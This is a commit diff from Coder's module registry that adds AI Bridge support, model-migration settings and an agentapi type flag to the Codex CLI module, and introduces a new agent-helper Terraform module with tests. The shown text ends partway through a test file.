maintenance(coder-labs/modules/codex): skip migration notice and add agentapi type flag (#781 )

This PR introduces: 1. Adding --type flag to agentapi command 2. Introduce `[notice.model_migrations]` to skip migration notice, improves tasks UX 3. Set profile = "aibridge" rather than passing it using --profile flag ## Description  ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder-labs/modules/codex` **New version:** `v4.1.2` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues Closes: #740
chore(coder/modules/mux): update Mux logo (#775 )
2026-06-03 04:58:15 +00:00 · 2026-03-03 10:35:45 +05:30 · 2026-03-02 10:07:58 +05:00 · 2026-02-27 14:48:55 -06:00 · 2026-02-27 11:15:47 -06:00 · 2026-02-27 10:44:39 -06:00
55 changed files with 1525 additions and 270 deletions
@@ -41,7 +41,7 @@ jobs:
          LABEL_NAME: ${{ github.event.label.name }}
        id: bump-type
        run: |
-          case "$LABEL_NAME" in in
+          case "$LABEL_NAME" in
            "version:patch")
              echo "type=patch" >> $GITHUB_OUTPUT
              ;;
@@ -1 +1,11 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="135" height="62" fill="none" viewBox="0 0 135 62"><path fill="#fff" d="M3.168 48V22.272H9.648L9.888 28.464L9.216 28.176C9.568 26.8 10.096 25.632 10.8 24.672C11.536 23.712 12.416 22.976 13.44 22.464C14.464 21.952 15.584 21.696 16.8 21.696C18.944 21.696 20.672 22.32 21.984 23.568C23.328 24.816 24.192 26.496 24.576 28.608L23.664 28.656C23.952 27.152 24.448 25.888 25.152 24.864C25.888 23.808 26.784 23.024 27.84 22.512C28.896 21.968 30.08 21.696 31.392 21.696C33.184 21.696 34.72 22.064 36 22.8C37.28 23.536 38.272 24.64 38.976 26.112C39.68 27.552 40.032 29.328 40.032 31.44V48H32.832V33.456C32.832 31.44 32.528 29.936 31.92 28.944C31.312 27.92 30.32 27.408 28.944 27.408C28.08 27.408 27.344 27.648 26.736 28.128C26.128 28.608 25.648 29.312 25.296 30.24C24.976 31.136 24.816 32.24 24.816 33.552V48H18.336V33.552C18.336 31.568 18.048 30.048 17.472 28.992C16.896 27.936 15.904 27.408 14.496 27.408C13.632 27.408 12.88 27.648 12.24 28.128C11.632 28.608 11.168 29.312 10.848 30.24C10.528 31.168 10.368 32.272 10.368 33.552V48H3.168ZM54.2254 48.576C51.5694 48.576 49.4894 47.728 47.9854 46.032C46.5134 44.304 45.7774 41.904 45.7774 38.832V22.272H52.9774V37.152C52.9774 39.136 53.2814 40.592 53.8894 41.52C54.4974 42.416 55.4574 42.864 56.7694 42.864C58.2414 42.864 59.3774 42.368 60.1774 41.376C61.0094 40.352 61.4254 38.832 61.4254 36.816V22.272H68.6254V48H62.0494L61.8574 40.608L62.7694 40.8C62.3854 43.36 61.4734 45.296 60.0334 46.608C58.5934 47.92 56.6574 48.576 54.2254 48.576ZM72.8486 48L82.0166 34.944L73.0886 22.272H80.7206L86.2406 30.528L91.5686 22.272H99.3926L90.5126 34.992L99.6326 48H92.0006L86.3366 39.264L80.6246 48H72.8486Z"/><rect width="26" height="35" x="109" y="13" fill="#fff"/></svg>
+<svg width="256" height="256" viewBox="0 0 256 256" fill="none" xmlns="http://www.w3.org/2000/svg">
+<g clip-path="url(#clip0_147_2)">
+<path d="M162.358 73H257V182H162.358V73Z" fill="white"/>
+<path d="M0 182V78.4618H26.039L27.0034 103.381L24.3033 102.221C25.7177 96.6843 27.8391 91.9835 30.6684 88.1202C33.6255 84.2569 37.1618 81.2949 41.2769 79.2343C45.3914 77.1742 49.8921 76.1439 54.7785 76.1439C63.3938 76.1439 70.3377 78.6552 75.6097 83.6773C81.0105 88.6998 84.4824 95.4606 86.0251 103.96L82.3606 104.153C83.518 98.1008 85.5112 93.0138 88.3401 88.8931C91.2976 84.6431 94.8978 81.4883 99.1411 79.4277C103.385 77.2387 108.143 76.1439 113.415 76.1439C120.615 76.1439 126.788 77.6249 131.931 80.5869C137.075 83.5488 141.061 87.9913 143.89 93.9152C146.719 99.7102 148.133 106.858 148.133 115.357V182H119.201V123.47C119.201 115.357 117.98 109.305 115.536 105.312C113.093 101.191 109.107 99.1311 103.577 99.1311C100.106 99.1311 97.1484 100.097 94.7052 102.029C92.262 103.96 90.3332 106.793 88.9188 110.528C87.6326 114.134 86.9895 118.577 86.9895 123.857V182H60.9506V123.857C60.9506 115.872 59.7936 109.755 57.4787 105.505C55.1642 101.256 51.1779 99.1311 45.5202 99.1311C42.0482 99.1311 39.0263 100.097 36.4548 102.029C34.0117 103.96 32.1472 106.793 30.861 110.528C29.5753 114.262 28.9322 118.705 28.9322 123.857V182H0Z" fill="white"/>
+</g>
+<defs>
+<clipPath id="clip0_147_2">
+<rect width="256" height="256" fill="white"/>
+</clipPath>
+</defs>
+</svg>
@@ -3,7 +3,7 @@ display_name: Codex CLI
 icon: ../../../../.icons/openai.svg
 description: Run Codex CLI in your workspace with AgentAPI integration
 verified: true
-tags: [agent, codex, ai, openai, tasks]
+tags: [agent, codex, ai, openai, tasks, aibridge]
 ---

 # Codex CLI
@@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte
 ```tf
 module "codex" {
  source         = "registry.coder.com/coder-labs/codex/coder"
-  version        = "4.0.0"
+  version        = "4.1.2"
  agent_id       = coder_agent.example.id
  openai_api_key = var.openai_api_key
  workdir        = "/home/coder/project"
@@ -32,7 +32,7 @@ module "codex" {
 module "codex" {
  count          = data.coder_workspace.me.start_count
  source         = "registry.coder.com/coder-labs/codex/coder"
-  version        = "4.0.0"
+  version        = "4.1.2"
  agent_id       = coder_agent.example.id
  openai_api_key = "..."
  workdir        = "/home/coder/project"
@@ -40,7 +40,49 @@ module "codex" {
 }
 ```

-### Tasks integration
+### Usage with AI Bridge
+
+[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version 2.30+
+
+For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.
+
+#### Standalone usage with AI Bridge
+
+```tf
+module "codex" {
+  source          = "registry.coder.com/coder-labs/codex/coder"
+  version         = "4.1.2"
+  agent_id        = coder_agent.example.id
+  workdir         = "/home/coder/project"
+  enable_aibridge = true
+}
+```
+
+When `enable_aibridge = true`, the module:
+
+- Configures Codex to use the AI Bridge profile with `base_url` pointing to `${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1` and `env_key` pointing to the workspace owner's session token
+
+```toml
+[model_providers.aibridge]
+name = "AI Bridge"
+base_url = "https://example.coder.com/api/v2/aibridge/openai/v1"
+env_key = "CODER_AIBRIDGE_SESSION_TOKEN"
+wire_api = "responses"
+
+[profiles.aibridge]
+model_provider = "aibridge"
+model = "<model>" # as configured in the module input
+model_reasoning_effort = "<model_reasoning_effort>" # as configured in the module input
+```
+
+Codex then runs with `--profile aibridge`
+
+This allows Codex to route API requests through Coder's AI Bridge instead of directly to OpenAI's API.
+Template build will fail if `openai_api_key` is provided alongside `enable_aibridge = true`.
+
+### Usage with Tasks
+
+This example shows how to configure Codex with Coder tasks.

 ```tf
 resource "coder_ai_task" "task" {
@@ -52,17 +94,46 @@ data "coder_task" "me" {}

 module "codex" {
  source         = "registry.coder.com/coder-labs/codex/coder"
-  version        = "4.0.0"
+  version        = "4.1.2"
  agent_id       = coder_agent.example.id
  openai_api_key = "..."
  ai_prompt      = data.coder_task.me.prompt
  workdir        = "/home/coder/project"

-  # Custom configuration for full auto mode
+  # Optional: route through AI Bridge (Premium feature)
+  # enable_aibridge = true
+}
+```
+
+### Advanced Configuration
+
+This example shows additional configuration options for custom models, MCP servers, and base configuration.
+
+```tf
+module "codex" {
+  source         = "registry.coder.com/coder-labs/codex/coder"
+  version        = "4.1.2"
+  agent_id       = coder_agent.example.id
+  openai_api_key = "..."
+  workdir        = "/home/coder/project"
+
+  codex_version = "0.1.0"  # Pin to a specific version
+  codex_model   = "gpt-4o" # Custom model
+
+  # Override default configuration
  base_config_toml = <<-EOT
+    sandbox_mode = "danger-full-access"
    approval_policy = "never"
    preferred_auth_method = "apikey"
  EOT
+
+  # Add extra MCP servers
+  additional_mcp_servers = <<-EOT
+    [mcp_servers.GitHub]
+    command = "npx"
+    args = ["-y", "@modelcontextprotocol/server-github"]
+    type = "stdio"
+  EOT
 }
 ```

@@ -92,33 +163,6 @@ preferred_auth_method = "apikey"
 network_access = true
 ```

-### Custom Configuration
-
-For custom Codex configuration, use `base_config_toml` and/or `additional_mcp_servers`:
-
-```tf
-module "codex" {
-  source  = "registry.coder.com/coder-labs/codex/coder"
-  version = "4.0.0"
-  # ... other variables ...
-
-  # Override default configuration
-  base_config_toml = <<-EOT
-    sandbox_mode = "danger-full-access"
-    approval_policy = "never"
-    preferred_auth_method = "apikey"
-  EOT
-
-  # Add extra MCP servers
-  additional_mcp_servers = <<-EOT
-    [mcp_servers.GitHub]
-    command = "npx"
-    args = ["-y", "@modelcontextprotocol/server-github"]
-    type = "stdio"
-  EOT
-}
-```
-
 > [!NOTE]
 > If no custom configuration is provided, the module uses secure defaults. The Coder MCP server is always included automatically. For containerized workspaces (Docker/Kubernetes), you may need `sandbox_mode = "danger-full-access"` to avoid permission issues. For advanced options, see [Codex config docs](https://github.com/openai/codex/blob/main/codex-rs/config.md).

@@ -137,3 +181,4 @@ module "codex" {
 - [Codex CLI Documentation](https://github.com/openai/codex)
 - [AgentAPI Documentation](https://github.com/coder/agentapi)
 - [Coder AI Agents Guide](https://coder.com/docs/tutorials/ai-agents)
+- [AI Bridge](https://coder.com/docs/ai-coder/ai-bridge)
@@ -113,7 +113,7 @@ describe("codex", async () => {
      sandbox_mode = "danger-full-access"
      approval_policy = "never"
      preferred_auth_method = "apikey"
-      
+
      [custom_section]
      new_feature = true
    `.trim();
@@ -189,7 +189,7 @@ describe("codex", async () => {
      args = ["-y", "@modelcontextprotocol/server-github"]
      type = "stdio"
      description = "GitHub integration"
-      
+
      [mcp_servers.FileSystem]
      command = "npx"
      args = ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"]
@@ -215,7 +215,7 @@ describe("codex", async () => {
      approval_policy = "untrusted"
      preferred_auth_method = "chatgpt"
      custom_setting = "test-value"
-      
+
      [advanced_settings]
      timeout = 30000
      debug = true
@@ -228,7 +228,7 @@ describe("codex", async () => {
      args = ["--serve", "--port", "8080"]
      type = "stdio"
      description = "Custom development tool"
-      
+
      [mcp_servers.DatabaseMCP]
      command = "python"
      args = ["-m", "database_mcp_server"]
@@ -454,4 +454,23 @@ describe("codex", async () => {
    );
    expect(startLog.stdout).not.toContain("test prompt");
  });
+
+  test("codex-with-aibridge", async () => {
+    const { id } = await setup({
+      moduleVariables: {
+        enable_aibridge: "true",
+        model_reasoning_effort: "none",
+      },
+    });
+
+    await execModuleScript(id);
+    const configToml = await readFileContainer(
+      id,
+      "/home/coder/.codex/config.toml",
+    );
+    expect(configToml).toContain(
+      "[profiles.aibridge]\n" + 'model_provider = "aibridge"',
+    );
+    expect(configToml).toContain('profile = "aibridge"');
+  });
 });
@@ -1,5 +1,5 @@
 terraform {
-  required_version = ">= 1.0"
+  required_version = ">= 1.9"

  required_providers {
    coder = {
@@ -71,6 +71,27 @@ variable "cli_app_display_name" {
  default     = "Codex CLI"
 }

+variable "enable_aibridge" {
+  type        = bool
+  description = "Use AI Bridge for Codex. https://coder.com/docs/ai-coder/ai-bridge"
+  default     = false
+
+  validation {
+    condition     = !(var.enable_aibridge && length(var.openai_api_key) > 0)
+    error_message = "openai_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials."
+  }
+}
+
+variable "model_reasoning_effort" {
+  type        = string
+  description = "The reasoning effort for the AI Bridge model. One of: none, low, medium, high. https://platform.openai.com/docs/guides/latest-model#lower-reasoning-effort"
+  default     = "medium"
+  validation {
+    condition     = contains(["none", "low", "medium", "high"], var.model_reasoning_effort)
+    error_message = "model_reasoning_effort must be one of: none, low, medium, high."
+  }
+}
+
 variable "install_codex" {
  type        = bool
  description = "Whether to install Codex."
@@ -110,13 +131,13 @@ variable "install_agentapi" {
 variable "agentapi_version" {
  type        = string
  description = "The version of AgentAPI to install."
-  default     = "v0.11.6"
+  default     = "v0.11.8"
 }

 variable "codex_model" {
  type        = string
-  description = "The model for Codex to use. Defaults to gpt-5.1-codex-max."
-  default     = ""
+  description = "The model for Codex to use. Defaults to gpt-5.3-codex."
+  default     = "gpt-5.3-codex"
 }

 variable "pre_install_script" {
@@ -155,12 +176,32 @@ resource "coder_env" "openai_api_key" {
  value    = var.openai_api_key
 }

+resource "coder_env" "coder_aibridge_session_token" {
+  count    = var.enable_aibridge ? 1 : 0
+  agent_id = var.agent_id
+  name     = "CODER_AIBRIDGE_SESSION_TOKEN"
+  value    = data.coder_workspace_owner.me.session_token
+}
+
 locals {
-  workdir         = trimsuffix(var.workdir, "/")
-  app_slug        = "codex"
-  install_script  = file("${path.module}/scripts/install.sh")
-  start_script    = file("${path.module}/scripts/start.sh")
-  module_dir_name = ".codex-module"
+  workdir            = trimsuffix(var.workdir, "/")
+  app_slug           = "codex"
+  install_script     = file("${path.module}/scripts/install.sh")
+  start_script       = file("${path.module}/scripts/start.sh")
+  module_dir_name    = ".codex-module"
+  latest_codex_model = "gpt-5.3-codex"
+  aibridge_config    = <<-EOF
+  [model_providers.aibridge]
+  name = "AI Bridge"
+  base_url = "${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1"
+  env_key = "CODER_AIBRIDGE_SESSION_TOKEN"
+  wire_api = "responses"
+
+  [profiles.aibridge]
+  model_provider = "aibridge"
+  model = "${var.codex_model}"
+  model_reasoning_effort = "${var.model_reasoning_effort}"
+  EOF
 }

 module "agentapi" {
@@ -196,6 +237,7 @@ module "agentapi" {
     ARG_CODEX_START_DIRECTORY='${local.workdir}' \
     ARG_CODEX_TASK_PROMPT='${base64encode(var.ai_prompt)}' \
     ARG_CONTINUE='${var.continue}' \
+     ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
     /tmp/start.sh
   EOT

@@ -208,9 +250,13 @@ module "agentapi" {
    chmod +x /tmp/install.sh
    ARG_OPENAI_API_KEY='${var.openai_api_key}' \
    ARG_REPORT_TASKS='${var.report_tasks}' \
+    ARG_CODEX_MODEL='${var.codex_model}' \
+    ARG_LATEST_CODEX_MODEL='${local.latest_codex_model}' \
    ARG_INSTALL='${var.install_codex}' \
    ARG_CODEX_VERSION='${var.codex_version}' \
    ARG_BASE_CONFIG_TOML='${base64encode(var.base_config_toml)}' \
+    ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
+    ARG_AIBRIDGE_CONFIG='${base64encode(var.enable_aibridge ? local.aibridge_config : "")}' \
    ARG_ADDITIONAL_MCP_SERVERS='${base64encode(var.additional_mcp_servers)}' \
    ARG_CODER_MCP_APP_STATUS_SLUG='${local.app_slug}' \
    ARG_CODEX_START_DIRECTORY='${local.workdir}' \
@@ -13,17 +13,22 @@ set -o nounset
 ARG_BASE_CONFIG_TOML=$(echo -n "$ARG_BASE_CONFIG_TOML" | base64 -d)
 ARG_ADDITIONAL_MCP_SERVERS=$(echo -n "$ARG_ADDITIONAL_MCP_SERVERS" | base64 -d)
 ARG_CODEX_INSTRUCTION_PROMPT=$(echo -n "$ARG_CODEX_INSTRUCTION_PROMPT" | base64 -d)
+ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
+ARG_AIBRIDGE_CONFIG=$(echo -n "$ARG_AIBRIDGE_CONFIG" | base64 -d)

 echo "=== Codex Module Configuration ==="
 printf "Install Codex: %s\n" "$ARG_INSTALL"
 printf "Codex Version: %s\n" "$ARG_CODEX_VERSION"
 printf "App Slug: %s\n" "$ARG_CODER_MCP_APP_STATUS_SLUG"
+printf "Codex Model: %s\n" "${ARG_CODEX_MODEL:-"Default"}"
+printf "Latest Codex Model: %s\n" "${ARG_LATEST_CODEX_MODEL}"
 printf "Start Directory: %s\n" "$ARG_CODEX_START_DIRECTORY"
 printf "Has Base Config: %s\n" "$([ -n "$ARG_BASE_CONFIG_TOML" ] && echo "Yes" || echo "No")"
 printf "Has Additional MCP: %s\n" "$([ -n "$ARG_ADDITIONAL_MCP_SERVERS" ] && echo "Yes" || echo "No")"
 printf "Has System Prompt: %s\n" "$([ -n "$ARG_CODEX_INSTRUCTION_PROMPT" ] && echo "Yes" || echo "No")"
 printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")"
 printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS"
+printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE"
 echo "======================================"

 set +o nounset
@@ -87,15 +92,25 @@ function install_codex() {

 write_minimal_default_config() {
  local config_path="$1"
+
+  ARG_DEFAULT_PROFILE=""
+
+  if [[ "${ARG_ENABLE_AIBRIDGE}" = "true" ]]; then
+    ARG_DEFAULT_PROFILE='profile = "aibridge"'
+  fi
+
  cat << EOF > "$config_path"
 # Minimal Default Codex Configuration
 sandbox_mode = "workspace-write"
 approval_policy = "never"
 preferred_auth_method = "apikey"
+${ARG_DEFAULT_PROFILE}

 [sandbox_workspace_write]
 network_access = true

+[notice.model_migrations]
+"${ARG_CODEX_MODEL}" = "${ARG_LATEST_CODEX_MODEL}"
 EOF
 }

@@ -127,6 +142,15 @@ EOF
  fi
 }

+append_aibridge_config_section() {
+  local config_path="$1"
+
+  if [ -n "$ARG_AIBRIDGE_CONFIG" ]; then
+    printf "Adding AI Bridge configuration\n"
+    echo -e "\n# AI Bridge Configuration\n$ARG_AIBRIDGE_CONFIG" >> "$config_path"
+  fi
+}
+
 function populate_config_toml() {
  CONFIG_PATH="$HOME/.codex/config.toml"
  mkdir -p "$(dirname "$CONFIG_PATH")"
@@ -140,6 +164,11 @@ function populate_config_toml() {
  fi

  append_mcp_servers_section "$CONFIG_PATH"
+
+  if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then
+    printf "AI Bridge is enabled\n"
+    append_aibridge_config_section "$CONFIG_PATH"
+  fi
 }

 function add_instruction_prompt_if_exists() {
@@ -185,4 +214,7 @@ install_codex
 codex --version
 populate_config_toml
 add_instruction_prompt_if_exists
-add_auth_json
+
+if [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then
+  add_auth_json
+fi
@@ -18,6 +18,7 @@ printf "Version: %s\n" "$(codex --version)"
 set -o nounset
 ARG_CODEX_TASK_PROMPT=$(echo -n "$ARG_CODEX_TASK_PROMPT" | base64 -d)
 ARG_CONTINUE=${ARG_CONTINUE:-true}
+ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}

 echo "=== Codex Launch Configuration ==="
 printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")"
@@ -26,6 +27,7 @@ printf "Start Directory: %s\n" "$ARG_CODEX_START_DIRECTORY"
 printf "Has Task Prompt: %s\n" "$([ -n "$ARG_CODEX_TASK_PROMPT" ] && echo "Yes" || echo "No")"
 printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS"
 printf "Continue Sessions: %s\n" "$ARG_CONTINUE"
+printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE"
 echo "======================================"
 set +o nounset

@@ -153,8 +155,8 @@ setup_workdir() {
 build_codex_args() {
  CODEX_ARGS=()

-  if [ -n "$ARG_CODEX_MODEL" ]; then
-    CODEX_ARGS+=("--model" "$ARG_CODEX_MODEL")
+  if [[ -n "${ARG_CODEX_MODEL}" ]] && [[ "${ARG_ENABLE_AIBRIDGE}" != "true" ]]; then
+    CODEX_ARGS+=("--model" "${ARG_CODEX_MODEL}")
  fi

  if [ "$ARG_CONTINUE" = "true" ]; then
@@ -208,7 +210,7 @@ capture_session_id() {

 start_codex() {
  printf "Starting Codex with arguments: %s\n" "${CODEX_ARGS[*]}"
-  agentapi server --term-width 67 --term-height 1190 -- codex "${CODEX_ARGS[@]}" &
+  agentapi server --type codex --term-width 67 --term-height 1190 -- codex "${CODEX_ARGS[@]}" &
  capture_session_id
 }

@@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics]

 A module that adds Nextflow to your Coder template.

-![Nextflow](../../.images/nextflow.png)
-
 ```tf
 module "nextflow" {
  count    = data.coder_workspace.me.start_count
@@ -0,0 +1,65 @@
+---
+display_name: Agent Helper
+description: Building block for modules that need orchestrated script execution
+icon: ../../../../.icons/coder.svg
+verified: false
+tags: [internal, library]
+---
+
+# Agent Helper
+
+> [!CAUTION]
+> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution.
+
+The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts.
+
+> [!NOTE]
+>
+> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together.
+
+```tf
+module "agent_helper" {
+  source  = "registry.coder.com/coder/agent-helper/coder"
+  version = "1.0.0"
+
+  agent_id        = coder_agent.main.id
+  agent_name      = "myagent"
+  module_dir_name = ".my-module"
+
+  pre_install_script = <<-EOT
+    #!/bin/bash
+    echo "Running pre-install tasks..."
+    # Your pre-install logic here
+  EOT
+
+  install_script = <<-EOT
+    #!/bin/bash
+    echo "Installing dependencies..."
+    # Your install logic here
+  EOT
+
+  post_install_script = <<-EOT
+    #!/bin/bash
+    echo "Running post-install configuration..."
+    # Your post-install logic here
+  EOT
+
+  start_script = <<-EOT
+    #!/bin/bash
+    echo "Starting the application..."
+    # Your start logic here
+  EOT
+}
+```
+
+## Execution Order
+
+The module orchestrates scripts in the following order:
+
+1. **Log File Creation** - Creates module directory and log files
+2. **Pre-Install Script** (optional) - Runs before installation
+3. **Install Script** - Main installation
+4. **Post-Install Script** (optional) - Runs after installation
+5. **Start Script** - Starts the application
+
+Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management.
@@ -0,0 +1,13 @@
+import { describe } from "bun:test";
+import { runTerraformInit, testRequiredVariables } from "~test";
+
+describe("agent-helper", async () => {
+  await runTerraformInit(import.meta.dir);
+
+  testRequiredVariables(import.meta.dir, {
+    agent_id: "test-agent-id",
+    agent_name: "test-agent",
+    module_dir_name: ".test-module",
+    start_script: "echo 'start'",
+  });
+});
@@ -0,0 +1,190 @@
+terraform {
+  required_version = ">= 1.0"
+
+  required_providers {
+    coder = {
+      source  = "coder/coder"
+      version = ">= 2.13"
+    }
+  }
+}
+
+variable "agent_id" {
+  type        = string
+  description = "The ID of a Coder agent."
+}
+
+data "coder_workspace" "me" {}
+
+data "coder_workspace_owner" "me" {}
+
+data "coder_task" "me" {}
+
+variable "pre_install_script" {
+  type        = string
+  description = "Custom script to run before installing the agent used by AgentAPI."
+  default     = null
+}
+
+variable "install_script" {
+  type        = string
+  description = "Script to install the agent used by AgentAPI."
+  default     = null
+}
+
+variable "post_install_script" {
+  type        = string
+  description = "Custom script to run after installing the agent used by AgentAPI."
+  default     = null
+}
+
+variable "start_script" {
+  type        = string
+  description = "Script that starts AgentAPI."
+}
+
+variable "agent_name" {
+  type        = string
+  description = "The name of the agent. This is used to construct unique script names for the experiment sync."
+
+}
+
+variable "module_dir_name" {
+  type        = string
+  description = "The name of the module directory."
+}
+
+locals {
+  encoded_pre_install_script  = var.pre_install_script != null ? base64encode(var.pre_install_script) : ""
+  encoded_install_script      = var.install_script != null ? base64encode(var.install_script) : ""
+  encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : ""
+  encoded_start_script        = base64encode(var.start_script)
+
+  pre_install_script_name  = "${var.agent_name}-pre_install_script"
+  install_script_name      = "${var.agent_name}-install_script"
+  post_install_script_name = "${var.agent_name}-post_install_script"
+  start_script_name        = "${var.agent_name}-start_script"
+
+  module_dir_path = "$HOME/${var.module_dir_name}"
+
+  pre_install_path  = "${local.module_dir_path}/pre_install.sh"
+  install_path      = "${local.module_dir_path}/install.sh"
+  post_install_path = "${local.module_dir_path}/post_install.sh"
+  start_path        = "${local.module_dir_path}/start.sh"
+
+  pre_install_log_path  = "${local.module_dir_path}/pre_install.log"
+  install_log_path      = "${local.module_dir_path}/install.log"
+  post_install_log_path = "${local.module_dir_path}/post_install.log"
+  start_log_path        = "${local.module_dir_path}/start.log"
+}
+
+resource "coder_script" "pre_install_script" {
+  count        = var.pre_install_script == null ? 0 : 1
+  agent_id     = var.agent_id
+  display_name = "Pre-Install Script"
+  run_on_start = true
+  script       = <<-EOT
+    #!/bin/bash
+    set -o errexit
+    set -o pipefail
+
+    mkdir -p ${local.module_dir_path}
+
+    trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT
+    coder exp sync start ${local.pre_install_script_name}
+
+    echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path}
+    chmod +x ${local.pre_install_path}
+
+    ${local.pre_install_path} > ${local.pre_install_log_path} 2>&1
+  EOT
+}
+
+resource "coder_script" "install_script" {
+  agent_id     = var.agent_id
+  display_name = "Install Script"
+  run_on_start = true
+  script       = <<-EOT
+    #!/bin/bash
+    set -o errexit
+    set -o pipefail
+
+    mkdir -p ${local.module_dir_path}
+
+    trap 'coder exp sync complete ${local.install_script_name}' EXIT
+    %{if var.pre_install_script != null~}
+      coder exp sync want ${local.install_script_name} ${local.pre_install_script_name}
+    %{endif~}
+    coder exp sync start ${local.install_script_name}
+    echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path}
+    chmod +x ${local.install_path}
+
+    ${local.install_path} > ${local.install_log_path} 2>&1
+  EOT
+}
+
+resource "coder_script" "post_install_script" {
+  count        = var.post_install_script != null ? 1 : 0
+  agent_id     = var.agent_id
+  display_name = "Post-Install Script"
+  run_on_start = true
+  script       = <<-EOT
+    #!/bin/bash
+    set -o errexit
+    set -o pipefail
+
+    trap 'coder exp sync complete ${local.post_install_script_name}' EXIT
+    coder exp sync want ${local.post_install_script_name} ${local.install_script_name}
+    coder exp sync start ${local.post_install_script_name}
+
+    echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path}
+    chmod +x ${local.post_install_path}
+
+    ${local.post_install_path} > ${local.post_install_log_path} 2>&1
+  EOT
+}
+
+resource "coder_script" "start_script" {
+  agent_id     = var.agent_id
+  display_name = "Start Script"
+  run_on_start = true
+  script       = <<-EOT
+    #!/bin/bash
+    set -o errexit
+    set -o pipefail
+
+    trap 'coder exp sync complete ${local.start_script_name}' EXIT
+
+    %{if var.post_install_script != null~}
+    coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name}
+    %{else~}
+    coder exp sync want ${local.start_script_name} ${local.install_script_name}
+    %{endif~}
+    coder exp sync start ${local.start_script_name}
+
+    echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path}
+    chmod +x ${local.start_path}
+
+    ${local.start_path} > ${local.start_log_path} 2>&1
+  EOT
+}
+
+output "pre_install_script_name" {
+  description = "The name of the pre-install script for sync."
+  value       = local.pre_install_script_name
+}
+
+output "install_script_name" {
+  description = "The name of the install script for sync."
+  value       = local.install_script_name
+}
+
+output "post_install_script_name" {
+  description = "The name of the post-install script for sync."
+  value       = local.post_install_script_name
+}
+
+output "start_script_name" {
+  description = "The name of the start script for sync."
+  value       = local.start_script_name
+}
@@ -0,0 +1,271 @@
+# Test for agent-helper module
+
+# Test with all scripts provided
+run "test_with_all_scripts" {
+  command = plan
+
+  variables {
+    agent_id            = "test-agent-id"
+    agent_name          = "test-agent"
+    module_dir_name     = ".test-module"
+    pre_install_script  = "echo 'pre-install'"
+    install_script      = "echo 'install'"
+    post_install_script = "echo 'post-install'"
+    start_script        = "echo 'start'"
+  }
+
+  # Verify pre_install_script is created when provided
+  assert {
+    condition     = length(coder_script.pre_install_script) == 1
+    error_message = "Pre-install script should be created when pre_install_script is provided"
+  }
+
+  assert {
+    condition     = coder_script.pre_install_script[0].agent_id == "test-agent-id"
+    error_message = "Pre-install script agent ID should match input"
+  }
+
+  assert {
+    condition     = coder_script.pre_install_script[0].display_name == "Pre-Install Script"
+    error_message = "Pre-install script should have correct display name"
+  }
+
+  assert {
+    condition     = coder_script.pre_install_script[0].run_on_start == true
+    error_message = "Pre-install script should run on start"
+  }
+
+  # Verify install_script is created
+  assert {
+    condition     = coder_script.install_script.agent_id == "test-agent-id"
+    error_message = "Install script agent ID should match input"
+  }
+
+  assert {
+    condition     = coder_script.install_script.display_name == "Install Script"
+    error_message = "Install script should have correct display name"
+  }
+
+  assert {
+    condition     = coder_script.install_script.run_on_start == true
+    error_message = "Install script should run on start"
+  }
+
+  # Verify post_install_script is created when provided
+  assert {
+    condition     = length(coder_script.post_install_script) == 1
+    error_message = "Post-install script should be created when post_install_script is provided"
+  }
+
+  assert {
+    condition     = coder_script.post_install_script[0].agent_id == "test-agent-id"
+    error_message = "Post-install script agent ID should match input"
+  }
+
+  assert {
+    condition     = coder_script.post_install_script[0].display_name == "Post-Install Script"
+    error_message = "Post-install script should have correct display name"
+  }
+
+  assert {
+    condition     = coder_script.post_install_script[0].run_on_start == true
+    error_message = "Post-install script should run on start"
+  }
+
+  # Verify start_script is created
+  assert {
+    condition     = coder_script.start_script.agent_id == "test-agent-id"
+    error_message = "Start script agent ID should match input"
+  }
+
+  assert {
+    condition     = coder_script.start_script.display_name == "Start Script"
+    error_message = "Start script should have correct display name"
+  }
+
+  assert {
+    condition     = coder_script.start_script.run_on_start == true
+    error_message = "Start script should run on start"
+  }
+
+  # Verify outputs for script names
+  assert {
